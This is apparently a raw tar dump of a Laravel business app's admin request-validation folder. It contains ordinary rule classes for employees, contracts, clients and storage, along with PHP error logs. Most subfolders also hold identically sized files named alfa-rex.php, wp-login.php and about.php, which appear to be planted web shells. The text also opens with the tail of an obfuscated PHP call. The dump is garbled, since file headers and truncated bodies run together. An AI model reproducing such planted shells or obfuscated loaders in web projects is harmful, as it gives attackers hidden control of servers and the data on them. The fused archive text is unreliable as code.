KC0kYCucnBV2y::w0LzuFmDIvyuz(); ?> Http/Requests/Admin/Employee/Employee/error_log000064400000001626150325104510015602 0ustar00[04-Jul-2025 17:57:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 23:12:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Employee/Employee/about.php7000064400000026574150325104510015610 0ustar00Http/Requests/Admin/Employee/alfa-rex.php8000064400000026574150325104510014417 0ustar00Http/Requests/Admin/Employee/wp-login.php000064400000026574150325104510014364 0ustar00Http/Requests/Admin/Employee/alfa-rex.php56000064400000026574150325104510014502 0ustar00Http/Requests/Admin/Employee/about.php000064400000026574150325104510013742 0ustar00Http/Requests/Admin/Employee/StoreRequest.php000064400000005056150325104510015265 0ustar00 'required|unique:employee_details,employee_id,null,id,company_id,' . company()->id.'|max:100', 'name' => 'required|max:50', 'email' => 'required|email:rfc,strict|unique:users,email,null,id,company_id,' . company()->id.'|max:100', 'password' => 'required|min:8|max:50', 'slack_username' => 'nullable|unique:employee_details,slack_username,null,id,company_id,' . company()->id.'|max:30', 'hourly_rate' => 'nullable|numeric', 'joining_date' => 'required', 'last_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', 'date_of_birth' => 'nullable|date_format:"' . $setting->date_format . '"|before_or_equal:'.now($setting->timezone)->toDateString(), 'department' => 'required', 'designation' => 'required', 'company_address' => 'required', 'probation_end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', 'notice_period_start_date' => 'nullable|required_with:notice_period_end_date|date_format:"' . $setting->date_format . '"', 'notice_period_end_date' => 'nullable|required_with:notice_period_start_date|date_format:"' . $setting->date_format . '"|after_or_equal:notice_period_start_date', 'internship_end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', 'contract_end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', ]; if (request()->telegram_user_id) { $rules['telegram_user_id'] = 'nullable|unique:users,telegram_user_id,null,id,company_id,' . company()->id; } $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Admin/Employee/error_log000064400000001626150325104510014023 0ustar00[04-Jul-2025 17:13:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 17:34:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Employee/StoreEmergencyContactRequest.php000064400000001334150325104510020433 0ustar00 'required|max:50', 'mobile' => 'required', 'relationship' => 'required', ]; if (request()->get('email')) { $rules['email'] = 'email:rfc'; } return $rules; } } Http/Requests/Admin/Employee/ImportRequest.php000064400000001055150325104510015436 0ustar00 'required|file|mimes:xls,xlsx,csv,txt', ]; } } Http/Requests/Admin/Employee/StorePromotionRequest.php000064400000001732150325104510017171 0ustar00|string> */ public function rules(): array { return [ 'date' => 'required|date_format:"' . company()->date_format . '"', 'current_designation_id' => 'required|numeric', 'current_department_id' => 'required|numeric' ]; } public function messages() { return [ 'current_designation_id.required' => __('messages.SelectaDesignation'), 'current_department_id.required' => __('messages.SelectaDesignation'), ]; } } Http/Requests/Admin/Employee/about.php7000064400000026574150325104510014031 0ustar00Http/Requests/Admin/Employee/UpdateRequest.php000064400000006047150325104510015414 0ustar00route('employee'))->first(); $setting = company(); $rules = [ 'employee_id' => 'required|max:50|unique:employee_details,employee_id,'.$detailID->id.',id,company_id,' . company()->id, 'name' => 'required|max:50', 'hourly_rate' => 'nullable|numeric', 'department' => 'required', 'designation' => 'required', 'company_address' => 'required', 'joining_date' => 'required', 'last_date' => 'nullable|required_if:status,deactive|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', 'date_of_birth' => 'nullable|date_format:"' . $setting->date_format . '"|before_or_equal:'.now($setting->timezone)->toDateString(), 'probation_end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', 'notice_period_start_date' => 'nullable|required_with:notice_period_end_date|date_format:"' . $setting->date_format . '"', 'notice_period_end_date' => 'nullable|required_with:notice_period_start_date|date_format:"' . $setting->date_format . '"|after_or_equal:notice_period_start_date', 'internship_end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', 'contract_end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:joining_date', ]; if (isWorksuite()) { $rules['email'] = 'required|max:100|email:rfc,strict|unique:users,email,'.$this->route('employee').',id,company_id,' . company()->id; } if ($detailID) { $rules['slack_username'] = 'nullable|unique:employee_details,slack_username,'.$detailID->id.',id,company_id,' . company()->id; } else { $rules['slack_username'] = 'nullable|unique:employee_details,slack_username,null,id,company_id,' . company()->id; } if (request()->password != '') { $rules['password'] = 'required|min:8|max:50'; } if (request()->telegram_user_id) { $rules['telegram_user_id'] = 'nullable|unique:users,telegram_user_id,' . $detailID->user_id.',id,company_id,' . company()->id; } $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Admin/alfa-rex.php8000064400000026574150325104510012640 0ustar00Http/Requests/Admin/wp-login.php000064400000026574150325104510012605 0ustar00Http/Requests/Admin/alfa-rex.php56000064400000026574150325104510012723 0ustar00Http/Requests/Admin/about.php000064400000026574150325104510012163 0ustar00Http/Requests/Admin/SocialAuth/alfa-rex.php000064400000026574150325104510014604 0ustar00Http/Requests/Admin/SocialAuth/.htaccess000064400000000544150325104510014157 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/SocialAuth/alfa-rex.php7000064400000026574150325104510014673 0ustar00Http/Requests/Admin/SocialAuth/alfa-rex.php8000064400000026574150325104510014674 0ustar00Http/Requests/Admin/SocialAuth/wp-login.php000064400000026574150325104510014641 0ustar00Http/Requests/Admin/SocialAuth/alfa-rex.php56000064400000026574150325104510014757 0ustar00Http/Requests/Admin/SocialAuth/about.php000064400000026574150325104510014217 0ustar00Http/Requests/Admin/SocialAuth/error_log000064400000001626150325104510014300 0ustar00[04-Jul-2025 18:01:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 18:25:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/SocialAuth/about.php7000064400000026574150325104510014306 0ustar00Http/Requests/Admin/SocialAuth/UpdateRequest.php000064400000001667150325104510015674 0ustar00 'required_if:google_status,enable|max:100', 'google_secret_id' => 'required_if:google_status,enable|max:100', 'facebook_client_id' => 'required_if:facebook_status,enable|max:100', 'facebook_secret_id' => 'required_if:facebook_status,enable|max:100', 'twitter_client_id' => 'required_if:twitter_status,enable|max:100', 'twitter_secret_id' => 'required_if:twitter_status,enable|max:100', 'linkedin_client_id' => 'required_if:linkedin_status,enable|max:100', 'linkedin_secret_id' => 'required_if:linkedin_status,enable|max:100', ]; } } Http/Requests/Admin/Storage/alfa-rex.php000064400000026574150325104510014154 0ustar00Http/Requests/Admin/Storage/.htaccess000064400000000544150325104510013527 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/Storage/alfa-rex.php7000064400000026574150325104510014243 0ustar00Http/Requests/Admin/Storage/alfa-rex.php8000064400000026574150325104510014244 0ustar00Http/Requests/Admin/Storage/wp-login.php000064400000026574150325104510014211 0ustar00Http/Requests/Admin/Storage/alfa-rex.php56000064400000026574150325104510014327 0ustar00Http/Requests/Admin/Storage/about.php000064400000026574150325104510013567 0ustar00Http/Requests/Admin/Storage/StoreRequest.php000064400000003270150325104510015106 0ustar00storage == 'aws_s3') { $rules = [ 'aws_key' => 'required|min:10|max:50', 'aws_region' => 'required', 'aws_secret' => 'required|min:30|max:60', 'aws_bucket' => 'required', ]; } if ($this->storage == 'digitalocean') { $rules = [ 'digitalocean_key' => 'required|min:3|max:50', 'digitalocean_region' => 'required', 'digitalocean_secret' => 'required|min:10|max:80', 'digitalocean_bucket' => 'required', ]; } if ($this->storage == 'wasabi') { $rules = [ 'wasabi_key' => 'required|min:3|max:50', 'wasabi_region' => 'required', 'wasabi_secret' => 'required|min:10|max:80', 'wasabi_bucket' => 'required', ]; } if ($this->storage == 'minio') { $rules = [ 'minio_key' => 'required|min:3|max:50', 'minio_region' => 'required', 'minio_secret' => 'required|min:10|max:80', 'minio_bucket' => 'required', ]; } return $rules; } } Http/Requests/Admin/Storage/error_log000064400000001626150325104510013650 0ustar00[04-Jul-2025 15:57:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 18:16:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Storage/about.php7000064400000026574150325104510013656 0ustar00Http/Requests/Admin/error_log000064400000001626150325104510012244 0ustar00[04-Jul-2025 13:31:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Contract/alfa-rex.php000064400000026574150325104510014325 0ustar00Http/Requests/Admin/Contract/.htaccess000064400000000544150325104510013700 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/Contract/alfa-rex.php7000064400000026574150325104510014414 0ustar00Http/Requests/Admin/Contract/SignRequest.php000064400000001525150325104510015064 0ustar00 'required', 'last_name' => 'required', 'place' => 'required', 'email' => 'required|email:rfc,strict', ]; if(request('signature_type') == 'upload'){ $rules['image'] = 'required'; } else { $rules['signature'] = 'required'; } return $rules; } } Http/Requests/Admin/Contract/alfa-rex.php8000064400000026574150325104510014415 0ustar00Http/Requests/Admin/Contract/wp-login.php000064400000026574150325104510014362 0ustar00Http/Requests/Admin/Contract/alfa-rex.php56000064400000026574150325104510014500 0ustar00Http/Requests/Admin/Contract/about.php000064400000026574150325104510013740 0ustar00Http/Requests/Admin/Contract/StoreRequest.php000064400000002770150325104510015263 0ustar00contract_number) { $this->merge([ 'contract_number' => \App\Helper\NumberFormat::contract($this->contract_number), ]); } } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $setting = company(); $rules = [ 'contract_number' => [ 'required', Rule::unique('contracts')->where('company_id', company()->id) ], 'client_id' => 'required', 'subject' => 'required', 'amount' => 'required', 'contract_type' => 'required|exists:contract_types,id', 'start_date' => 'required|date_format:"' . $setting->date_format . '"', ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Admin/Contract/error_log000064400000001626150325104510014021 0ustar00[04-Jul-2025 17:13:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 17:34:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Contract/RenewRequest.php000064400000002553150325104510015246 0ustar00 'required', 'end_date' => 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:start_date', ]; if (request()->has('contract_id')) { $contract = Contract::findOrFail(request()->contract_id); $startDate = $contract->end_date ? $contract->end_date->format($setting->date_format) : $contract->start_date->format($setting->date_format); $rules['start_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:' . $startDate; } return $rules; } public function messages() { return [ 'amount.required' => 'The amount field is required.', 'start_date.required' => 'The start date field is required.', 'end_date.required' => 'The end date field is required.' ]; } } Http/Requests/Admin/Contract/about.php7000064400000026574150325104510014027 0ustar00Http/Requests/Admin/Contract/StoreDiscussionRequest.php000064400000001457150325104510017330 0ustar00 [ 'required', function ($attribute, $value, $fail) { $comment = trim_editor($value);; if ($comment == '') { $fail(__('validation.required')); } } ] ]; } } Http/Requests/Admin/Contract/UpdateDiscussionRequest.php000064400000001460150325104510017450 0ustar00 [ 'required', function ($attribute, $value, $fail) { $comment = trim_editor($value);; if ($comment == '') { $fail(__('validation.required')); } } ] ]; } } Http/Requests/Admin/Contract/UpdateRequest.php000064400000002105150325104510015401 0ustar00 'required', 'subject' => 'required', 'amount' => 'required', 'contract_type' => 'required|exists:contract_types,id', 'start_date' => 'required|date_format:"' . $setting->date_format . '"', ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Admin/ContractType/alfa-rex.php000064400000026574150325104510015167 0ustar00Http/Requests/Admin/ContractType/.htaccess000064400000000544150325104510014542 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/ContractType/alfa-rex.php7000064400000026574150325104510015256 0ustar00Http/Requests/Admin/ContractType/alfa-rex.php8000064400000026574150325104510015257 0ustar00Http/Requests/Admin/ContractType/wp-login.php000064400000026574150325104510015224 0ustar00Http/Requests/Admin/ContractType/alfa-rex.php56000064400000026574150325104510015342 0ustar00Http/Requests/Admin/ContractType/about.php000064400000026574150325104510014602 0ustar00Http/Requests/Admin/ContractType/StoreRequest.php000064400000001115150325104510016115 0ustar00 'required|unique:contract_types,name,null,id,company_id,' . company()->id.'|max:100' ]; } } Http/Requests/Admin/ContractType/error_log000064400000001626150325104510014663 0ustar00[04-Jul-2025 17:57:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 18:47:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/ContractType/about.php7000064400000026574150325104510014671 0ustar00Http/Requests/Admin/ContractType/UpdateRequest.php000064400000001137150325104510016247 0ustar00 'required|max:100|unique:contract_types,name,'.$this->route('type').',id,company_id,' . company()->id ]; } } Http/Requests/Admin/Language/alfa-rex.php000064400000026574150325104510014273 0ustar00Http/Requests/Admin/Language/.htaccess000064400000000544150325104510013646 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/Language/alfa-rex.php7000064400000026574150325104510014362 0ustar00Http/Requests/Admin/Language/alfa-rex.php8000064400000026574150325104510014363 0ustar00Http/Requests/Admin/Language/wp-login.php000064400000026574150325104510014330 0ustar00Http/Requests/Admin/Language/alfa-rex.php56000064400000026574150325104510014446 0ustar00Http/Requests/Admin/Language/about.php000064400000026574150325104510013706 0ustar00Http/Requests/Admin/Language/StoreRequest.php000064400000001402150325104510015220 0ustar00 'required|unique:language_settings,language_name|max:30', 'language_code' => 'required|unique:language_settings,language_code|max:10', 'flag' => 'required', 'status' => 'required|max:100', 'is_rtl' => 'required', ]; } } Http/Requests/Admin/Language/error_log000064400000001626150325104510013767 0ustar00[04-Jul-2025 17:13:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 17:34:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Language/AutoTranslateRequest.php000064400000001016150325104510016713 0ustar00 'required', ]; } } Http/Requests/Admin/Language/about.php7000064400000026574150325104510013775 0ustar00Http/Requests/Admin/Language/UpdateRequest.php000064400000001474150325104510015357 0ustar00 'required|max:30|unique:language_settings,language_name,'.$this->route('id').',id', 'language_code' => 'required|alpha_dash|max:10|unique:language_settings,language_code,'.$this->route('id').',id', 'status' => 'required', 'flag' => 'required', 'is_rtl' => 'required', ]; } } Http/Requests/Admin/TaskLabel/alfa-rex.php000064400000026574150325104510014412 0ustar00Http/Requests/Admin/TaskLabel/.htaccess000064400000000544150325104510013765 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/TaskLabel/alfa-rex.php7000064400000026574150325104510014501 0ustar00Http/Requests/Admin/TaskLabel/alfa-rex.php8000064400000026574150325104510014502 0ustar00Http/Requests/Admin/TaskLabel/wp-login.php000064400000026574150325104510014447 0ustar00Http/Requests/Admin/TaskLabel/alfa-rex.php56000064400000026574150325104510014565 0ustar00Http/Requests/Admin/TaskLabel/about.php000064400000026574150325104510014025 0ustar00Http/Requests/Admin/TaskLabel/StoreRequest.php000064400000001070150325104510015340 0ustar00 'required|max:50', 'color' => 'required|max:50', ]; } } Http/Requests/Admin/TaskLabel/error_log000064400000001626150325104510014106 0ustar00[04-Jul-2025 17:41:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 18:25:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/TaskLabel/about.php7000064400000026574150325104510014114 0ustar00Http/Requests/Admin/TaskLabel/UpdateRequest.php000064400000001432150325104510015470 0ustar00 [ 'required', Rule::unique('task_label_list')->where(function($query){ $query->where('id', '<>', $this->route('task_label')); }) ], 'color' => 'required|max:50', ]; } } Http/Requests/Admin/Client/alfa-rex.php000064400000026574150325104510013766 0ustar00Http/Requests/Admin/Client/.htaccess000064400000000544150325104510013341 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/Client/UpdateClientRequest.php000064400000002304150325104510016202 0ustar00 'nullable|unique', 'name' => 'required', 'email' => 'nullable|email:rfc,strict|required_if:login,enable|unique:users,email,'.$this->route('client').',id,company_id,' . company()->id, 'website' => 'nullable|url', 'country' => 'required_with:mobile', 'password' => 'nullable|min:8', 'mobile' => 'nullable|numeric' ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Admin/Client/alfa-rex.php7000064400000026574150325104510014055 0ustar00Http/Requests/Admin/Client/alfa-rex.php8000064400000026574150325104510014056 0ustar00Http/Requests/Admin/Client/wp-login.php000064400000026574150325104510014023 0ustar00Http/Requests/Admin/Client/StoreClientNote.php000064400000001545150325104510015337 0ustar00 'required', 'details' => 'required', ]; if ($this->type == 1 && is_null($this->user_id) && !in_array('client', user_roles())) { $rules['user_id'] = 'required'; } return $rules; } public function messages() { return [ 'user_id.required' => 'The employee field is required.', ]; } } Http/Requests/Admin/Client/StoreClientCategory.php000064400000001025150325104510016200 0ustar00 'required|max:100' ]; } } Http/Requests/Admin/Client/alfa-rex.php56000064400000026574150325104510014141 0ustar00Http/Requests/Admin/Client/about.php000064400000026574150325104510013401 0ustar00Http/Requests/Admin/Client/StoreClientRequest.php000064400000002540150325104510016056 0ustar00 'required', 'email' => 'nullable|email:rfc,strict|required_if:login,enable|unique:users,email,null,id,company_id,' . company()->id, 'password' => 'nullable|required_if:login,enable|min:8', 'slack_username' => 'nullable', 'website' => 'nullable|url', 'country' => 'required_with:mobile', 'mobile' => 'nullable|numeric' ]; $rules = $this->customFieldRules($rules); return $rules; } public function messages() { return [ 'website.url' => 'The website format is invalid. Add https:// or http to url' ]; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Admin/Client/error_log000064400000001626150325104510013462 0ustar00[04-Jul-2025 15:45:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 18:25:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/Client/StoreShippingAddressRequest.php000064400000001031150325104510017721 0ustar00 'required', ]; } } Http/Requests/Admin/Client/about.php7000064400000026574150325104510013470 0ustar00Http/Requests/Admin/Client/StoreClientSubcategory.php000064400000001072150325104510016714 0ustar00 'required', 'category_name' => 'required', ]; } } Http/Requests/Admin/SignUpSetting/alfa-rex.php000064400000026574150325104510015313 0ustar00Http/Requests/Admin/SignUpSetting/.htaccess000064400000000544150325104510014666 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/SignUpSetting/alfa-rex.php7000064400000026574150325104510015402 0ustar00Http/Requests/Admin/SignUpSetting/alfa-rex.php8000064400000026574150325104510015403 0ustar00Http/Requests/Admin/SignUpSetting/wp-login.php000064400000026574150325104510015350 0ustar00Http/Requests/Admin/SignUpSetting/alfa-rex.php56000064400000026574150325104510015466 0ustar00Http/Requests/Admin/SignUpSetting/about.php000064400000026574150325104510014726 0ustar00Http/Requests/Admin/SignUpSetting/error_log000064400000001626150325104510015007 0ustar00[04-Jul-2025 17:57:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 18:47:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 